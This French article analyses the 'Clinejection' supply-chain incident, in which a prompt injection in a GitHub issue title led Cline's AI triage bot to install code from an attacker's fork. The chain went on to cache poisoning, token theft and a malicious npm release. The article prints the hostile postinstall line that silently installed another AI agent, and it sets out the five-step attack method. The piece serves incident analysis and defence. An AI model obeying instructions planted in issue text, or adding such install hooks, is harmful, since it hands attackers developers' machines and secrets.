4 000 machines de développeurs infectées via le titre d’une issue GitHub

• Une prompt injection insérée dans le titre a permis d’injecter des commandes via le bot de tri d’issues basé sur l’IA de Cline
• Vol de tokens npm puis diffusion d’un Cline malveillant installant sans autorisation l’agent IA OpenClaw
• Les attaquants ont construit une chaîne en 5 étapes : prompt injection → exécution de code arbitraire par le bot IA → empoisonnement du cache → vol d’identifiants → publication d’un package malveillant
• Les contrôles de sécurité existants (revue de code, npm audit, provenance attestations) n’ont pas détecté cette attaque
• Un chercheur en sécurité a découvert et signalé la faille fin décembre 2025, mais n’a reçu aucune réponse pendant 5 semaines ; après la divulgation publique, une erreur dans la rotation des identifiants a permis l’exécution de l’attaque
• Un nouveau schéma de menace de supply chain est apparu, où un agent IA en installe un autre, ce qui souligne les risques de l’automatisation par IA dans les environnements CI/CD

---

Vue d’ensemble de l’attaque

• Le 17 février 2026, cline@2.3.0 a été publié sur npm ; le binaire était identique aux versions précédentes, mais une ligne avait été ajoutée à package.json : "postinstall": "npm install -g openclaw@latest"
  • En conséquence, OpenClaw a été automatiquement installé chez environ 4 000 développeurs ayant installé ou mis à jour Cline pendant les 8 heures suivantes
• OpenClaw est un agent IA distinct disposant d’un accès complet au système, installé globalement sans le consentement de l’utilisateur

Chaîne d’attaque (Clinejection)

• Étape 1 : prompt injection
  • Cline utilisait un workflow de tri d’issues par IA reposant sur claude-code-action d’Anthropic
  • Avec le paramètre allowed_non_write_users: "*", n’importe qui pouvait ouvrir une issue et déclencher le bot
  • Le 28 janvier, l’attaquant a créé l’Issue #8904, dont le titre, ressemblant à un rapport de performance, cachait une instruction demandant « d’installer un package spécifique »
• Étape 2 : exécution de commandes par le bot IA
  • Claude a interprété cette instruction comme légitime et a exécuté npm install depuis le fork de l’attaquant (glthub-actions/cline)
  • Le package.json de ce fork contenait un script preinstall lançant un script shell distant
• Étape 3 : empoisonnement du cache (Cache Poisoning)
  • Le script a déployé Cacheract, qui empoisonne le cache GitHub Actions
  • Plus de 10 Go de données ont été injectés pour évincer le cache légitime et falsifier la clé de cache utilisée par le workflow de release nightly de Cline
• Étape 4 : vol d’identifiants
  • Lorsque le workflow de release a restauré node_modules depuis le cache empoisonné, NPM_RELEASE_TOKEN, VSCE_PAT et OVSX_PAT ont été exfiltrés
• Étape 5 : diffusion du package malveillant
  • Les attaquants ont publié cline@2.3.0 à l’aide du token npm volé
  • La surveillance de StepSecurity a détecté une anomalie 14 minutes plus tard, et le package a été retiré 8 heures après

Échec de la réponse et suites

• Le chercheur en sécurité Adnan Khan a découvert la faille en décembre 2025 et l’a signalée le 1er janvier 2026 via GitHub Security Advisory, sans recevoir de réponse pendant 5 semaines
• Après une divulgation publique de Khan le 9 février, Cline a supprimé et corrigé le workflow de tri IA en 30 minutes
• Le lendemain, l’équipe a commencé la rotation des identifiants mais a supprimé les mauvais tokens, laissant les tokens exposés toujours actifs
  • L’erreur a été détectée et corrigée le 11 février, mais l’attaquant avait déjà récupéré les identifiants
  • Le token npm est resté suffisamment valide pendant 6 jours pour permettre la publication du package malveillant
• Khan n’est pas l’attaquant — un acteur inconnu distinct a trouvé la preuve de concept dans le dépôt de test de Khan et l’a directement militarisée contre Cline

Un nouveau schéma où l’IA installe l’IA

• Dans cet incident, un outil IA a installé un autre agent IA, créant un problème récursif de confiance dans la supply chain
  • Le développeur fait confiance à l’outil A (Cline) → l’outil A est compromis et installe l’outil B (OpenClaw)
    → l’outil B possède ses propres capacités indépendantes de l’outil A (exécution de shell, accès aux identifiants, installation d’un daemon persistant), invisibles dans la décision de confiance initiale du développeur
• OpenClaw peut lire les identifiants dans ~/.openclaw/, exécuter des commandes shell via la Gateway API et s’auto-installer comme daemon système persistant survivant aux redémarrages
• Endor Labs a qualifié cela de charge utile de niveau preuve de concept, mais l’important est le mécanisme lui-même ; la prochaine charge utile ne sera peut-être pas un PoC
• Il s’agit d’une version supply chain du problème du « Confused Deputy », où des privilèges accordés par le développeur ont été délégués à un troisième agent
  • Le développeur délègue des privilèges à Cline, puis Cline les délègue (via sa compromission) à un agent entièrement distinct que le développeur n’a jamais évalué, configuré ou approuvé

Pourquoi les contrôles de sécurité existants ont échoué

• npm audit : le script postinstall installait un package légitime et non malveillant (OpenClaw), donc aucun malware à détecter
• Revue de code : le binaire CLI était identique octet pour octet à la version précédente ; seule une ligne de package.json a changé, ce qui échappait aux vérifications automatiques de diff centrées sur les modifications de binaire
• Provenance attestation : Cline n’utilisait alors pas la provenance npm basée sur OIDC, ce qui permettait à un token compromis de publier sans métadonnées de provenance
  • StepSecurity l’a signalé comme anormal
• Demandes d’autorisation : l’installation se produisait dans un hook postinstall pendant npm install, et aucun outil de codage IA ne demande confirmation à l’utilisateur avant d’exécuter les scripts de cycle de vie d’une dépendance ; la manipulation est donc restée invisible
• L’attaque a exploité l’écart entre ce que le développeur pense installer (une version donnée de Cline) et ce qui est réellement exécuté (scripts de cycle de vie arbitraires du package et installations transitives)

Réponse post-incident de Cline

• Mesures d’amélioration publiées dans le post mortem
  • Suppression de l’usage du cache GitHub Actions dans les workflows manipulant des identifiants
  • Adoption de la provenance attestation OIDC pour les publications npm, avec suppression des tokens longue durée
  • Ajout d’exigences de vérification pour la rotation des identifiants
  • Lancement des travaux sur un processus officiel de divulgation de vulnérabilités avec SLA
  • Commande d’un audit de sécurité tiers de l’infrastructure CI/CD
• À elle seule, la migration vers OIDC aurait pu empêcher cette attaque
  • Avec un schéma de provenance exigeant une preuve cryptographique issue d’un workflow GitHub Actions spécifique, les tokens volés n’auraient pas pu publier de package

Problème structurel et enseignements

• Clinejection est à la fois une attaque de supply chain et un problème de sécurité des agents
  • Le point d’entrée de l’attaque était une entrée en langage naturel dans le titre d’une issue GitHub, que le bot IA a exécutée comme une commande
• La structure est la même que pour une pollution d’outils MCP ou une attaque du registre de compétences d’agents
  • Une entrée non fiable atteint l’agent → l’agent agit → personne n’évalue l’action résultante avant son exécution
• Ici, l’agent n’était pas un assistant de codage local, mais un workflow CI automatisé s’exécutant sur chaque nouvelle issue, avec accès au shell et à des identifiants en cache
  • Le rayon d’impact n’était pas la machine d’un seul développeur, mais l’ensemble du pipeline de déploiement du projet
• Toutes les équipes qui déploient des agents IA en CI/CD (tri d’issues, revue de code, tests automatiques, etc.) sont exposées de la même manière
  • Elles doivent reconnaître le risque lié à la combinaison d’entrées non fiables et d’accès aux secrets
  • L’agent peut traiter des entrées non fiables (issues, PR, commentaires) tout en ayant accès à des secrets (tokens, clés, identifiants)
• Une interception au niveau des appels système pourrait bloquer ce type d’attaque au niveau opérationnel :
  • si un bot de tri IA tente d’exécuter npm install depuis un dépôt inattendu, l’action peut être évaluée selon une politique, indépendamment du contenu du titre de l’issue ; et si des scripts de cycle de vie essaient d’exfiltrer des identifiants vers des hôtes externes, la sortie réseau peut être bloquée